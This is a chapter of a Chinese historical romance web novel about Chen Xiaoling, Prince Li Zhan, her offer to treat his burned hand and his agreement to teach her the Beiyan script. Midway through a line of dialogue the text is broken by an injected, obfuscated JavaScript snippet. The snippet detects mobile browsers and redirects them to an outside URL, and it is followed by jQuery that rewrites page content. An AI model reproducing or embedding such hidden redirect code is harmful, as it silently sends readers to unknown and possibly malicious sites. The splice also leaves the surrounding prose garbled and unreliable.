夜风习习,碎雪徐徐飘落,积攒许久的梅香与屋内焚香相撞。黎湛执笔许久方觉寒凉,便起身走到窗边,随手拨弄了下放在台上的蘑菇,才去抬手关窗。正好看到陈效凌端着托盘自外面经过,身后还跟着雪归。
小狼穿上了红色的马甲,很是兴奋,走起路来一扭一扭,行至书房前更是加快了脚步,直接把门撞开,省去了两人开门的麻烦。
陈效凌刚一进门,雪竹香倏而抚住她的侧脸,眼睫顷刻点上露水,忽而抬起眸子望向他时,仍是局促不安。
他刚沐浴完,长发用玉簪束起,披散在湖青色常服,勾勒出宽阔精壮的身形,宛如玉竹出尘,矜贵无双。奈何此人五官冷峻太过,并无亲切之感。
黎湛触及她的视线,露珠化在眼尾。
他的第一反应就是:
他是不是做错什么了?
两人沉默稍许,陈效凌尴尬笑笑:“王爷可要用些夜宵?”她原在心里预演了多遍,可真当面对他时还是不免紧张。
“门口冷,进来吧。”黎湛颔首浅笑,不动声色将托盘抽走。
陈效凌随意一瞥,却发现他手背烫到的红痕,比她想的似乎要严重一些。
等黎湛站定后,她大着胆子将他的手牵过来,摊开放在自己面前。
“得罪了。”
黎湛讶然抬眼,下意识想要缩回手。
陈效凌则是低头去观察伤痕,依稀闻到他手背的药味,凑得更近了些。
温热的呼吸绕在他的指节,鼻尖蹭到手背凸起的青筋。黎湛微微蜷缩手指,忽听风声乱了几拍,慢摇烛光失序,唯恐刺眼。
待他反应过来,已用将蜡火剪灭,屋内顿时暗了许多。
陈效凌不解地抬头,不明他突然灭烛的意图。
“您用的应当只是寻常白药,妾身这里有上好的烫伤药,可以祛疤。”她没给黎湛婉拒的机会,直接从药匣里取出药膏,涂在他的手背。凉丝丝的触感浸入皮肤,连鼻翼都裹住了清甜的草药味。
陈效凌观察着,他手型其实很好看,手指修长有力,能挽千钧也干净无暇,丝毫不像武夫的手。唯有一条形状骇人的疤痕盘桓其上,想必是手被人捅了个对穿。
当年黎湛二伐西昭中了埋伏,拼死才逃出生天,然伤及右手,太医断言他整只手都要保不住了,更妄提再射箭持刀,若非他以非人的训练与惊人的意志挺了过来,才恢复如初。
“吓到你了。”黎湛注意到她的目光,想要收回手,却反被握紧。
陈效凌灵机一动,起身去书桌上取了一枝朱笔,描了几笔,道:“在蓟北养不活太娇弱的花草,我就等每年夏季路边长了狼尾草移栽回家养着,您手上的这条疤就像狼尾草。”
完笔后,她左看右看,对自己拙劣的画功满意极了,眨眨眼冲他狡黠一笑。
黎湛细细端详手背,眼底依稀掠过流光。而后端起碗,尝了一口红薯银耳羹。
“很好吃,麻烦郡主了。”他搁下碗,礼貌颔首。
陈效凌把脸从碗里抬起,粲然笑道:“王爷以后不用叫我郡主,太生疏了,家里的长辈都叫我阿凌。”
“好。”
“王爷,我还有一事……”
黎湛正坐倾听。
“您能请位先生教我学习北燕话吗?”
“我听闻,北燕多用汉语,但也仅限一部分人……”
一部分人,指的是上层权贵、门阀世家。在北燕普通人里,汉语尚不普及。这也是旧制的弊病,既得利益者用语言文化使社会分层,阻碍社会流动,以维护本阶层的利益。
陈效凌说到这里连忙住了嘴,不想让黎湛觉得他妄言朝政。
黎湛没有回答请先生的问题,转而缓声,却又颇为郑重问她:“你也觉得这样不对是吗?”
陈效凌未曾犹豫,坚决地点点头。她在蓟北见过太多以权谋私的不平事,更有自己的原则,在政治理念方面,不能因为怕得罪他而说违心的话。
黎湛思忖片刻,道:“我教你吧。”说罢去书架寻了几本书,招手唤她过来。
“您这么忙……”陈效凌面露难色。
思索之间,黎湛有了初步的打算,拿出一张纸开始对照着书名列计划:说:“隔三日你来一次便可,每次我讲一个时辰,剩下要靠你自己温习。”
他又想到些什么,思虑稍许,然后道:“你的天份很高,如果你愿意,回北燕之后我会请王室的先生教你。”
“不止北燕文字,你想学什么,就和我说。”
即读书人学什么,她就学什么;她想学什么,就学什么。在他看来,读书不分男女老少,什么时候学都是不晚的。
“得亏我五岁的时候就离开家了,四叔说女孩子也要念书,他就和请的女师一起教我念书。如今要谢谢王爷了。”陈效凌微微福身表示谢意。
走到门前,她还是下定决心,去而复返。
以今日的形势来看,黎湛对于一切都了如指掌,恐怕没有什么能瞒住他,还不如早日坦白,万一他日后起了疑心,她的日子就难过了。
“王爷……那条腰带。”陈效凌眼神游移,脸憋得绯红,想着该如何开口。
黎湛轻声引导:“不要着急,慢慢说。”他略一思索,就想起陈棠生日宴那天,因为这条腰带惹出的风波。他事后没有去查这条腰带的来历,因为谁都有拥有秘密的权利,他不想过分窥探别人的过去。
陈效凌怕多说多错,就捡结论说:“那条腰带,不是我要送给您的,更不是送给哪个男子的,只是我……”她斟酌着用词,一时语塞。
“就算是,也不用如此着急。”黎湛抿着笑意,他还以为是什么事,竟也值得她急成这样。
陈效凌以为他听信了后半句,高声反驳:“真的不是!”
“我信你。”黎湛为她倒了杯热茶,总算勉强安抚住她,“只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092246|195481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一条腰带,不要再想这件事了,回去别忘了温习功课。”他沉吟片刻,又补充道:
“以后要早点睡。”
陈效凌点头应下,原本以为,那只是黎湛随口之言,不然他怎会知道,她时常熬到子时才睡。
后来她才知晓,黎湛其实对她的一举一动都了如指掌。
只是不说。
约莫一个时辰之后,窗外飞雪无声无息落得更急,压了满树银霜,陈效凌从书房出来后,快步走到梅丛前,忍不住折了一枝红梅,蹲下身来哄雪归玩。
雪归喜欢鲜艳的东西,就举着爪子向上够。为了逗它,陈效凌故意举高,不仅不让它得逞,还揪下来一朵花簪在小狼的耳旁,像是在白面团里插了朵花,看得她心里一软。
雪归知道被欺负了,恼羞地在她身上乱拍,滚圆的身子直接扑了上去,将她按倒在地,一个劲儿舔她的脸。
“你干什么……”大米味的舌头扫过脸颊,蹭得她脸颊发痒,陈效凌止不住地笑,满心欢喜摸了摸它毛茸茸的脑袋。
恰一粒雪花落在她的眼睫,她心神微动,借着融进雪色的空荡,望向书房……
那人矗立在窗前,眼神似夜空深沉,又似白雪辽远,正将她的一举一动尽收眼底。
两两相望之际,一阵风动,原本埋在雪里的花瓣腾空扬起,零落在两道曲折的视线,将原本皎洁的月光成隐秘的色泽,顺风而观。
陈效凌这才发现,廊下那丛初春才开花的山茶,居然在冬季就已经晕开了粉色的云雾,藏在冬雪中,若不细看是发现不了的。
终是黎湛觉得唐突了她,先行阖上窗子,把那簇提前、亦或是已经迟了太久盛开的山茶花,狠心阻隔在外。
……
一连几日,陈效凌按部就班学习北燕文字,写黎湛给她出的填空。在屋里呆得憋闷,她偶尔也会去外面练字,怀里还抱着雪归,写几笔就吃一口枣泥糕,午后的暖阳照在额头,日子好不惬意。
雪归睡醒了,伸了个懒腰,挠过陈效凌的袄袖。她揉了揉雪归的脑袋,指上的墨汁不慎蹭到了白毛上。
雪归已然察觉自己变脏了,伸出肉肉的爪子,聊胜于无地威胁了她一下,就从腿上跳下来,头也不回地飞速跑出院子。
陈效凌见状,连手中的书本都没放下,就赶紧追出去,没想到它四条小腿蹬得挺快,从西向东穿越了小半个王府,奔着东院而去。
直到跑到了一处陌生的院落才停下。
陈效凌没发觉有什么不对,径直跑进了这所院子。
她许久没有跑这么快过,停下后弯腰气喘,和在原处摇头晃脑的雪归大眼瞪小眼。
“二嫂,你怎么……”
陈效凌循声抬头,眯眼细看,入目的先是一身魁梧悍然的肌肉,才发现廊下站了个人。
她即刻反应过来,自己误闯了黎鸿的院子。
而此时,他似乎没穿上衣。